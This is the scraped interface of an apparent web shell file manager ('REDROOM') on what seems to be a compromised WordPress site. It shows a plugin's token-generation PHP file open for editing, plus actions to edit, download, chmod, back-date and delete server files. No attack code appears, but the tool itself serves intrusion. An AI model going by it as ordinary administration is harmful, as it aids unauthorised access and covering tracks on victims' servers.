REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 805 B
Close
//home/nshryvcy/radiantskinclinics.org/wp-content/plugins/getgenie/app/Auth/TokenManager.php
Text
Base64
<?php namespace GenieAi\App\Auth; use GenieAi\App\Auth\Encryption; class TokenManager { protected $age; protected $prefix = 'AT01-'; public function generate($age = ['10', 'minute']) { $response = 'access_denied'; $payload = [ 'created_at' => wp_date("Y-m-d H:i", null, ( new \DateTimeZone( 'Asia/Dhaka' )) ), 'wp_user_id' => get_current_user_id(), 'auth_token_secret_key' => get_option('getgenie_auth_token_secret_key'), 'age' => $age ]; $payload = apply_filters( 'getgenie_token_generate_payload', $payload); $encryption = new Encryption(); $response = $encryption->encrypt(json_encode($payload), $payload['auth_token_secret_key']); return $this->prefix.$response; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 2
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Encryption.php
3.23 KB
lrw-r--r--
2023-05-08 11:08:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
TokenManager.php
805 B
lrw-r--r--
2023-05-08 11:08:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).